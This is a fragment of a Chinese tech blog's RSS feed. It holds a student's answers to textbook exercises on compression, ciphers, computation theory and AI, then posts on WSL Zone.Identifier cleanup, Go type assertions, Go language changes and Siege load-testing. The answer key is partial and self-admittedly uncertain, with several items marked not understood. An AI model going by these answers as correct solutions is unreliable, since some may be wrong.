&lt;li&gt;在 3 NF基础上，消除主属性对候选码的部分函数依赖和传递函数依赖。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 15 章 数据压缩&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;无损压缩和有损压缩。&lt;/li&gt;
&lt;li&gt;无损压缩：所有信息都可恢复；有损压缩：部分信息丢失。&lt;/li&gt;
&lt;li&gt;重复出现的符号，被重复数字和符号替换。&lt;/li&gt;
&lt;li&gt;构造字典，传输时字典索引。&lt;/li&gt;
&lt;li&gt;对于出现更为频繁的字符分配较短的编码，而对于出现较少的字符分配较长的编码。&lt;/li&gt;
&lt;li&gt;实际数据通过字典来取出真正的值。&lt;/li&gt;
&lt;li&gt;LZ 编码更简单、解压速度更快。&lt;/li&gt;
&lt;li&gt;JPEG、MPEG、MP3。&lt;/li&gt;
&lt;li&gt;JPEG 对应图像，MPEG 对应视频。&lt;/li&gt;
&lt;li&gt;MPEG 即有多个帧的 JPEG。&lt;/li&gt;
&lt;li&gt;将图像划分成块的目的是考虑到减少计算量。&lt;/li&gt;
&lt;li&gt;离散余弦变换改变了 64 个值以使相邻像素之间的关系得以保持，但同时又能够揭示冗余。&lt;/li&gt;
&lt;li&gt;量化过程用一个常量来除位数，然后舍弃小数部分。用于减少需要编码的位数。&lt;/li&gt;
&lt;li&gt;每个帧都是一副图像。&lt;/li&gt;
&lt;li&gt;空间压缩即使用 JPEG，时间压缩即舍去多余的帧。&lt;/li&gt;
&lt;li&gt;I-帧：即内部编码帧，是一个独立帧；P-帧：即预帧，与前面的 I-帧或 P-帧有关联；B-帧：即双向帧，与前面和后面的 I-帧或 P-帧有关系。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;10010, 00000, 00001, 11000, 01111, 00000。&lt;/li&gt;
&lt;li&gt;00000, 00000, 01000, 00001, 01101, 00000。&lt;/li&gt;
&lt;li&gt;A：000；B：1000；C：001；D：01；E：11；F：101；G：1001。&lt;/li&gt;
&lt;li&gt;A：000；B：001；C：010；D：011；E：1000；F：1001；G：1010；H：1011；I：110；J：111。&lt;/li&gt;
&lt;li&gt;是。没有某个编码是另一个编码的前缀。&lt;/li&gt;
&lt;li&gt;不是。A 是 C 的前缀。&lt;/li&gt;
&lt;li&gt;1000, 1010, 1010, 0011, 00。&lt;/li&gt;
&lt;li&gt;ABBAAACCA。&lt;/li&gt;
&lt;li&gt;字典：B，A，AB，BB，BA，AC，AA。编码为 1-7，即：B，A，2B，1B，1A，2C，2A。&lt;/li&gt;
&lt;li&gt;未理解题意，直接编码。字典：A，AA，AB，B，C，CC，BB。编码为 1-7，即：A，1A，1B，B，C，5C，4B。&lt;/li&gt;
&lt;li&gt;23.25；19.8；18.6375；17.475。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 16 章 安全&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;a。&lt;/li&gt;
&lt;li&gt;a。&lt;/li&gt;
&lt;li&gt;b。&lt;/li&gt;
&lt;li&gt;密码术即秘密书写；隐写术即掩饰书写。&lt;/li&gt;
&lt;li&gt;是。&lt;/li&gt;
&lt;li&gt;是。&lt;/li&gt;
&lt;li&gt;是。隐写术。&lt;/li&gt;
&lt;li&gt;是。对称密钥。&lt;/li&gt;
&lt;li&gt;是。对称密钥。&lt;/li&gt;
&lt;li&gt;置换密码即移位密码。替换密码即用一个符号替代另一个符号，移位密码就是符号重新排序。&lt;/li&gt;
&lt;li&gt;是。单字母。&lt;/li&gt;
&lt;li&gt;单字母。&lt;/li&gt;
&lt;li&gt;每个字母 26 次。&lt;/li&gt;
&lt;li&gt;26；26；26。&lt;/li&gt;
&lt;li&gt;c。&lt;/li&gt;
&lt;li&gt;因为需要通过某种方法在随机密钥上达成共识。&lt;/li&gt;
&lt;li&gt;性能。&lt;/li&gt;
&lt;li&gt;公钥用于加密；私钥用于解密。&lt;/li&gt;
&lt;li&gt;e 表示指数，使用 1 就表示没有变化。&lt;/li&gt;
&lt;li&gt;MAC 通过散列函数和密钥的组合来保证消息的完整性和消息验证。&lt;/li&gt;
&lt;li&gt;消息验证可能不会发生在实时系统中，而实体验证会；消息验证简单地验证一则消息，这个过程需对每则新的消息重复，实体验证可在整个会话期间内验证要求者。&lt;/li&gt;
&lt;li&gt;b。&lt;/li&gt;
&lt;li&gt;b。&lt;/li&gt;
&lt;li&gt;b。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;a：威胁机密性的攻击；b：威胁完整性的攻击；c：威胁可用性的攻击。&lt;/li&gt;
&lt;li&gt;lyyu。&lt;/li&gt;
&lt;li&gt;nbcm cm uh yrylwcmy。&lt;/li&gt;
&lt;li&gt;zm vcvixrnv。&lt;/li&gt;
&lt;li&gt;5533 1531152235443215。&lt;/li&gt;
&lt;li&gt;不对，暴力破解的次数没有变少。&lt;/li&gt;
&lt;li&gt;没问题。&lt;/li&gt;
&lt;li&gt;a. 加密数组中的元素分别为：3, 1, 4, 5, 2；b：解密数组中的元素分别为：2, 5, 1, 3, 4；c：通过索引的对应的值，反向生成即可。&lt;/li&gt;
&lt;li&gt;$10 * 12 = 120$，$e * d \bmod 120 = 1，e = 103$。&lt;/li&gt;
&lt;li&gt;密文为：10358 6651 1144 5632 1890 1144 等。&lt;/li&gt;
&lt;li&gt;MAC 可能会被窃听，所以不能使用私钥。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 17 章 计算理论&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;incr：加 1；decr：减 1；while：循环。&lt;/li&gt;
&lt;li&gt;循环一个变量值的次数，然后调用 incr。&lt;/li&gt;
&lt;li&gt;图灵机能模拟简单语言中的三个基本语句。&lt;/li&gt;
&lt;li&gt;磁带：存储数据；读写头：读写数据；控制器：转换、显示状态。&lt;/li&gt;
&lt;li&gt;通过空白字符隔开。&lt;/li&gt;
&lt;li&gt;向左或右移动。&lt;/li&gt;
&lt;li&gt;状态转移图指导图灵机控制器如何控制状态。&lt;/li&gt;
&lt;li&gt;转移表是转移图的另一种表示。有相同信息。&lt;/li&gt;
&lt;li&gt;一个分配给任何程序的无符号数称为哥德尔数。反证法。&lt;/li&gt;
&lt;li&gt;多项式问题：$O(n^k)$ 范围内；非多项式问题：$O(10^n) 或 O(n!)$。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Y := 0
while (X) {
	incr(Y)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;SaveX := 0
SaveY := Y
while (X) {
	decr(X)
	incr(Y)
	incr(SaveX)
}
X = SaveX
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;TEMP := Y
Y := 0
SaveX := 0
while (X) {
	decr(X)
	Y := Y + TEMP
	incr(SaveX)
}
X = SaveX
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;TEMP := Y
Y := 1
SaveX := 0
while (X) {
	decr(X)
	Y := Y * TEMP
	incr(SaveX)
}
X = SaveX
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;while (X) {
	decr(Y)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Y := 1
while (X) {
	decr(X)
	decr(Y)
	A1
}

while (Y) {
	A2
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;最终配置为：&lt;code&gt;b b 1 1 b&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;读写头向右移动一位。&lt;/li&gt;
&lt;li&gt;读写头向右移动一位。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;未理解题意。&lt;/li&gt;
&lt;li&gt;未理解题意。&lt;/li&gt;
&lt;li&gt;未理解题意。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;n + 1。&lt;/li&gt;
&lt;li&gt;用 while 循环来模拟。&lt;/li&gt;
&lt;li&gt;用 while 循环来模拟。&lt;/li&gt;
&lt;li&gt;用 while 循环来模拟。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 18 章 人工智能&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;简单地比较人类的智能行为和计算机的智能行为。不能。&lt;/li&gt;
&lt;li&gt;智能体是一个能智能地感知环境、从环境中学习并与环境进行交互的系统。分为软件智能体和物理智能体。&lt;/li&gt;
&lt;li&gt;LISP：操纵表的语言；PROLOG：一种能建立事实数据库和规则知识库的编程语言。&lt;/li&gt;
&lt;li&gt;如果打算用人工智能体来解决现实世界中的一些问题，那么它必须能表示知识。语义网、框架、谓语逻辑和基于规则的系统。&lt;/li&gt;
&lt;li&gt;谓词逻辑使用了命题逻辑。命题逻辑是由对世界进行逻辑推理的一组句子组成的一种语言。&lt;/li&gt;
&lt;li&gt;在语义网中，图用来表示知识；在框架中，数据结构用来表示相同的知识。&lt;/li&gt;
&lt;li&gt;基于规则的系统使用一组规则来表示知识，这些规则能用来从已知的事实中推导出新的事实。规则表示当指定条件满足时什么为真。&lt;/li&gt;
&lt;li&gt;专家系统使用知识表示语言来执行通常需要人类专家才能完成的任务。平凡系统则表示非专家。&lt;/li&gt;
&lt;li&gt;边缘探测、分段、查找深度、查找方向、对象识别、应用。&lt;/li&gt;
&lt;li&gt;语音识别、语法分析、语义分析和语用分析。&lt;/li&gt;
&lt;li&gt;使用神经元网络来模仿人脑的学习过程。&lt;/li&gt;
&lt;li&gt;感知器是一个类似于单个生物神经元的人工神经元。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;a. $\neg R$；b. $\neg S$；c. $\neg (R \wedge S)$；d. $R \wedge S$；e. $S \rightarrow \neg R$；f. $R \rightarrow \neg S$；g. $\neg (R \rightarrow S)$；h. $\neg (\neg R \rightarrow S)$；&lt;/li&gt;
&lt;li&gt;重复，省略。&lt;/li&gt;
&lt;li&gt;重复，省略。&lt;/li&gt;
&lt;li&gt;重复，省略。&lt;/li&gt;
&lt;li&gt;重复，省略。&lt;/li&gt;
&lt;li&gt;重复，省略。&lt;/li&gt;
&lt;li&gt;合法。&lt;/li&gt;
&lt;li&gt;不合法。&lt;/li&gt;
&lt;li&gt;合法。&lt;/li&gt;
&lt;li&gt;不合法。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><category>Solution</category></item><item><title>WSL 中出现 :Zone.Identifier 文件的原因和解决方法</title><link>https://www.sulinehk.com/post/reasons-and-solutions-for-the-zoneidentifier-file-appearing-in-wsl/</link><guid isPermaLink="true">https://www.sulinehk.com/post/reasons-and-solutions-for-the-zoneidentifier-file-appearing-in-wsl/</guid><pubDate>Fri, 15 Oct 2021 05:55:21 GMT</pubDate><content:encoded>&lt;p&gt;因为使用 Windows 和 WSL 作为开发环境，经常出现 :Zone.Identifier 文件，所以写了这篇博客来记录其原因和解决方法。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;原因&lt;/h2&gt;
&lt;p&gt;从 Windows 直接下载文件或移动文件到 WSL 目录时，会出现类似 &lt;code&gt;:Zone.Identifier&lt;/code&gt; 的文件。&lt;/p&gt;
&lt;p&gt;其中包含了一些跟关联文件有关的元数据。&lt;/p&gt;
&lt;p&gt;该文件因为微软的 NTFS 功能而出现，虽然没有实际用途。&lt;/p&gt;
&lt;p&gt;但因为文件名包含 &lt;code&gt;:&lt;/code&gt; 冒号，所以可能会破坏某些 Linux 脚本的运行。&lt;/p&gt;
&lt;p&gt;所以需要处理它。&lt;/p&gt;
&lt;h2&gt;解决方法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;通过修改 Windows 组策略禁用附加元数据文件，步骤如下：
&lt;ol&gt;
&lt;li&gt;打开组策略编辑器：快捷键 &lt;code&gt;Win + R&lt;/code&gt; 进入运行，输入 &lt;code&gt;gpedit.msc&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;导航：​&lt;code&gt;​用户配置 -&amp;gt; 管理模板 -&amp;gt; Windows 组件 -&amp;gt; 附件管理器&lt;/code&gt;​​；&lt;/li&gt;
&lt;li&gt;设置：双击&lt;code&gt;文件附件中不保留区域信息&lt;/code&gt; ，设置为&lt;code&gt;已启用&lt;/code&gt;，并重启系统。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;移动文件时，不要通过资源管理器，而是通过 VS Code，这样不会生成该文件。&lt;/li&gt;
&lt;li&gt;通过这条命令删除这些文件：&lt;code&gt;find . -name &quot;*:Zone.Identifier&quot; -type f -delete&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/microsoft/WSL/issues/4609&quot;&gt;Zone.Identifier Files when copying from Windows to WSL filestructure #4609&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/microsoft/WSL/issues/7456&quot;&gt;Zone.Identifier Files when downloading from Windows to WSL file structure #7456&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cloudbytes.dev/snippets/wsl2-find-and-delete-zoneidentifier-files&quot;&gt;WSL2: Find and Delete Zone.Identifier files&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>Golang 类型断言的分类和例子</title><link>https://www.sulinehk.com/post/categories-and-examples-of-type-assertion-in-golang/</link><guid isPermaLink="true">https://www.sulinehk.com/post/categories-and-examples-of-type-assertion-in-golang/</guid><pubDate>Sat, 11 Sep 2021 15:22:11 GMT</pubDate><content:encoded>&lt;p&gt;因为对表达式断言和赋值断言的理解不够清晰，所以写了这篇博客来加深理解。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;为了更好地理解类型断言的例子，后面的内容都遵循以下惯例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大写 I：表示接口类型；小写 i：表示接口值。&lt;/li&gt;
&lt;li&gt;大写 S：表示具体类型；小写 s：表示具体类型值。&lt;/li&gt;
&lt;li&gt;大写 T：表示具体类型和接口类型其中一种；小写 t：表示具体类型值和接口值其中一种。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;表达式断言&lt;/h2&gt;
&lt;p&gt;表达式断言的语法为：&lt;code&gt;i.(T)&lt;/code&gt;，其中 i 为接口值，T 为具体类型或接口类型。发生错误时，为运行时错误。&lt;/p&gt;
&lt;h3&gt;当 T 为具体类型时，作用是把接口值转换为具体类型值&lt;/h3&gt;
&lt;p&gt;当 i 的具体类型是 T 时，断言成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type I interface{}
type S struct{}
var i I = S{}
_ = i.(S)
// i 的具体类型是 S，所以断言成功。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表达式返回一个新值，该值为具体类型值，类型为 T。&lt;/p&gt;
&lt;p&gt;当 i 的具体类型不是 T 时，断言失败：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type I interface{}
type S struct{}
var i I
_ = i.(S)
// i 的具体类型未声明，不是 S，所以断言失败。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;当 T 为接口类型时，作用是转换接口类型&lt;/h3&gt;
&lt;p&gt;当 i 的具体类型实现了 T 接口时，断言成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type I1 interface{}
type I2 interface{}
type S struct{}
var i I1 = S{}
_ = i.(I2)
// i 的具体类型 S 实现了 I2 接口，所以断言成功。i 的接口类型从 I1 变为 I2。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表达式返回一个新值，该值为接口值，类型为 T。接口值里面的具体类型和具体值不变。&lt;/p&gt;
&lt;p&gt;当 i 的具体类型未实现 T 接口时，断言失败：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type I1 interface{}
type I2 interface{ M() }
type S struct{}
var i I1 = S{}
_ = i.(I2)
// i 的具体类型 S 没有实现 M() 方法，即没实现 I2 接口，所以断言失败。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;赋值断言&lt;/h2&gt;
&lt;p&gt;赋值断言的语法为：&lt;code&gt;i = t&lt;/code&gt;，其中 i 为接口值，t 为具体类型值或接口值。发生错误时，为编译时错误。&lt;/p&gt;
&lt;h3&gt;当 t 为具体类型值时，作用是转换具体类型&lt;/h3&gt;
&lt;p&gt;当 t 的具体类型实现了 i 的接口时，断言成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type I interface{}
type S1 struct{}
type S2 struct{}
t := S1{}
var i I = S2{}
i = t
// t 的具体类型 S1 实现了 I 接口，所以断言成功。i 的具体类型从 S2 变为 S1。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;i 的具体类型变为 t 的具体类型，接口类型保持不变。&lt;/p&gt;
&lt;p&gt;当 t 的具体类型未实现 i 的接口时，断言失败：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type I interface{ M() }
type S1 struct{}
type S2 struct{}
func (S2) M() {}

t := S1{}
var i I = S2{}
i = t
// t 的具体类型 S1 没有实现 M() 方法，即没实现 I 接口，所以断言失败。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;当 t 为接口值时，作用是转换接口类型&lt;/h3&gt;
&lt;p&gt;当 t 的具体类型实现了 i 的接口时，断言成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type I1 interface{}
type I2 interface{}
type S1 struct{}
type S2 struct{}
var t I1 = S1{}
var i I2 = S2{}
i = t
// t 的具体类型 S1 实现了 i 的接口 I2，i 的接口类型从 I2 变为 I1。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;i 的接口类型变为 t 的接口类型，具体类型保持不变。显示转换也可以达到同样的作用，如：&lt;code&gt;i = io.Writer(t)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;当 t 的具体类型未实现 i 的接口时，断言失败：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type I1 interface{}
type I2 interface{ M() }
type S1 struct{}
type S2 struct{}
func (S2) M() {}

var t I1 = S1{}
var i I2 = S2{}
i = t
// t 的具体类型 S1 未实现 i 的接口 I2，所以断言失败。
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>Golang</category></item><item><title>Golang 1.10 到 1.17 期间发生的语言规范改动</title><link>https://www.sulinehk.com/post/language-specification-changes-between-golang-110-to-117/</link><guid isPermaLink="true">https://www.sulinehk.com/post/language-specification-changes-between-golang-110-to-117/</guid><pubDate>Sun, 22 Aug 2021 15:22:11 GMT</pubDate><content:encoded>&lt;p&gt;因为 Golang 1.10 到 1.17 期间发生了相当多的语言规范改动，所以写了这篇博客来记录它。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Golang 1.10&lt;/h2&gt;
&lt;h3&gt;无类型常量移位&lt;/h3&gt;
&lt;p&gt;确定了无类型常量移位这种极端场景的处理方法。&lt;/p&gt;
&lt;p&gt;允许这样的索引表达式：&lt;code&gt;x[1.0 &amp;lt;&amp;lt; s]&lt;/code&gt;，其中 s 是无符号整数。&lt;/p&gt;
&lt;h3&gt;方法表达式&lt;/h3&gt;
&lt;p&gt;放宽了方法表达式的语法。允许任何类型的表达式作为接收器。如：&lt;code&gt;struct{io.Reader}.Read&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Golang 1.11&lt;/h2&gt;
&lt;p&gt;语言规范没有改动。&lt;/p&gt;
&lt;h2&gt;Golang 1.12&lt;/h2&gt;
&lt;p&gt;语言规范没有改动。&lt;/p&gt;
&lt;h2&gt;Golang 1.13&lt;/h2&gt;
&lt;h3&gt;现代化的数字字面量前缀&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;二进制整数：使用前缀 0b 或 0B。如：&lt;code&gt;0b1011&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;八进制整数：使用前缀 0o 或 0O。如：&lt;code&gt;0o660.0&lt;/code&gt;。原来以 0 为前缀的八进制表示法仍然有效，如&lt;code&gt;0666&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;十六进制浮点数：使用前缀 0x 或 0X。如：&lt;code&gt;0x1.0p-1021&lt;/code&gt;。其中必须有一个指数，表示为 p 或 P后跟一个十进制数。指数使用 2 为底数，而不是 16。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;虚数字面量&lt;/h3&gt;
&lt;p&gt;虚数后缀 i 原来只能跟十进制整数和浮点数字面量一起使用。&lt;/p&gt;
&lt;p&gt;现在新增了对二进制和十六进制整数的支持。如：&lt;code&gt;0b1011i&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;数字分隔符&lt;/h3&gt;
&lt;p&gt;可以使用下划线分隔任何数字字面量。&lt;/p&gt;
&lt;p&gt;下划线可以出现在任何两个数字之间或前缀和第一个数字之间。如：&lt;code&gt;1_000_000&lt;/code&gt;、&lt;code&gt;0b_1010_0110&lt;/code&gt; 和 &lt;code&gt;3.1415_9265&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;移位操作&lt;/h3&gt;
&lt;p&gt;移位操作去除了位移量必须是无符号数的限制。如：&lt;code&gt;x &amp;lt;&amp;lt; y&lt;/code&gt;，其中 y 可以是有符号数。&lt;/p&gt;
&lt;h2&gt;Golang 1.14&lt;/h2&gt;
&lt;h3&gt;嵌入非空同名方法&lt;/h3&gt;
&lt;p&gt;允许嵌入具有重叠方法集的接口：来自嵌入式接口的方法可能与（嵌入）接口中已经存在的方法具有相同的名称和相同的签名。&lt;/p&gt;
&lt;p&gt;Golang 1.14 之前，允许内嵌多个空接口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Man interface {
}

type Women interface {
}

type Human interface {
	Man
	Women
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而不允许内嵌多个非空接口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Man interface {
	Walk()
}

type Women interface {
	Walk()
}

type Human interface {
	Man
	Women
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Golang 1.14 之后，允许内嵌多个非空接口。这些接口的方法可以同名或不同名，如果同名的话，就需要这些方法具有相同的签名，否则就是错误的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Man interface {
	Walk(int) int
}

type Women interface {
	Walk(string) string
}

type Human interface {
	Man
	Women
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Golang 1.15&lt;/h2&gt;
&lt;p&gt;语言规范没有改动。&lt;/p&gt;
&lt;h2&gt;Golang 1.16&lt;/h2&gt;
&lt;p&gt;语言规范没有改动。&lt;/p&gt;
&lt;h2&gt;Golang 1.17&lt;/h2&gt;
&lt;h3&gt;切片转换为数组指针&lt;/h3&gt;
&lt;p&gt;将切片转换为数组指针时，会返回一个指向切片底层数组的指针。如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := []int{1, 2, 3}
b := (*[3]int)(a)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果目标数组的长度，大于原切片的长度，则会发生运行时恐慌。&lt;/p&gt;
&lt;h3&gt;新增 unsafe.Add 函数&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;unsafe.Add(ptr, len)&lt;/code&gt; 将 len 添加到 ptr，然后返回一个指针。&lt;/p&gt;
&lt;h3&gt;新增 unsafe.Slice 函数&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;unsafe.Slice(ptr *ArbitraryType, len IntegerType) []ArbitraryType&lt;/code&gt; 通过 ptr 和 len 构造一个切片。相当于：&lt;code&gt;(*[len]ArbitraryType)(unsafe.Pointer(ptr))[:]&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/doc/go1.10#language&quot;&gt;Go 1.10 Release Notes&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/doc/go1.13#language&quot;&gt;Go 1.13 Release Notes&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/doc/go1.14#language&quot;&gt;Go 1.14 Release Notes&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/doc/go1.14#language&quot;&gt;Go 1.17 Release Notes&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>使用 Siege 和 Shell 脚本进行 HTTP 接口性能测试</title><link>https://www.sulinehk.com/post/http-interface-performance-test-with-siege-and-the-shell-script/</link><guid isPermaLink="true">https://www.sulinehk.com/post/http-interface-performance-test-with-siege-and-the-shell-script/</guid><pubDate>Fri, 16 Jul 2021 15:52:45 GMT</pubDate><content:encoded>&lt;p&gt;因为公司业务对性能的需求，所以需要对某些接口进行性能测试，来决定是否需要增加机器配置或重构。&lt;/p&gt;
&lt;p&gt;因为运维人员担心安全方面的影响，所以不能直接运行可执行文件，只能使用以前的 Siege 和 Shell 脚本。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;安装 Siege&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;wget http://download.joedog.org/siege/siege-4.0.4.tar.gz \
&amp;amp;&amp;amp; tar zxvf siege-4.0.4.tar.gz \
&amp;amp;&amp;amp; cd siege-4.0.4 \
&amp;amp;&amp;amp; ./configure \
&amp;amp;&amp;amp; make  \
&amp;amp;&amp;amp; make install \
&amp;amp;&amp;amp; siege -h
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设定指标&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;并发量：系统同时处理的请求数量；&lt;/li&gt;
&lt;li&gt;总访问次数：并发量*重复次数；&lt;/li&gt;
&lt;li&gt;响应时间区间：&lt;code&gt;0 ~ 1.0、1.0 ~ 1.5、1.5 ~ 2.0、2.0 ~ 3.0、3.0 ~ 以上&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;响应码：20X、30X、40X、50X。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上是脚本中需要的基本指标，其它的可以通过日志来计算。&lt;/p&gt;
&lt;p&gt;或者用 Siege 的 -f 参数来导出测试报告。&lt;/p&gt;
&lt;h2&gt;修改 Siege 配置&lt;/h2&gt;
&lt;p&gt;查看配置文件地址：&lt;code&gt;siege -C | grep resource&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;Siege 4.0.4 的配置文件在 &lt;code&gt;~/.siege/siege.conf&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;但是 limit 默认是 255，不符合需求，需要手动改到 1000。通过 &lt;code&gt;siege -C | grep &quot;thread limit&quot;&lt;/code&gt; 查看是否修改成功。&lt;/p&gt;
&lt;h2&gt;修改 Nginx 配置&lt;/h2&gt;
&lt;p&gt;Nginx 机器出现错误：&lt;code&gt;nginx:accept() failed (24: Too many open files)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;文件描述符不够，需要修改 &lt;code&gt;/usr/local/nginx/conf/nginx.conf&lt;/code&gt; 中的 &lt;code&gt;worker_rlimit_nofile&lt;/code&gt; 为 &lt;code&gt;65535&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;具体的 Shell 脚本&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

# 帮助函数
help() {
	echo &quot;Usage: $0 -c num -r num URL &quot;
	echo &quot;       $0 -c 300 -r 3 \&quot;http://www.baidu.com\&quot;&quot;
	echo &quot;Options:&quot;
	echo &apos;  -c      数量&apos;
	echo &apos;  -r      重复次数&apos;
	exit 0
}

# 构造命令行
execute() {
	$cmd -b -c $cur -r $rep $url 1&amp;gt;$output
}

# 计算结果
do_result() {
	total=$(($cur * $rep))

	sum=$(cat $output | grep HTTP | awk &apos;
        ($3&amp;gt;0 &amp;amp;&amp;amp; $3&amp;lt;=1) {s[1]++};
        ($3&amp;gt;1 &amp;amp;&amp;amp; $3&amp;lt;=1.5) {s[2]++};
        ($3&amp;gt;1.5 &amp;amp;&amp;amp; $3&amp;lt;=2) {s[3]++};
        ($3&amp;gt;2 &amp;amp;&amp;amp; $3&amp;lt;=3) {s[4]++};
        ($3&amp;gt;3) {s[9]++};
        ($2 ~ /^20./) {s[5]++};
        ($2 ~ /^30./) {s[6]++};
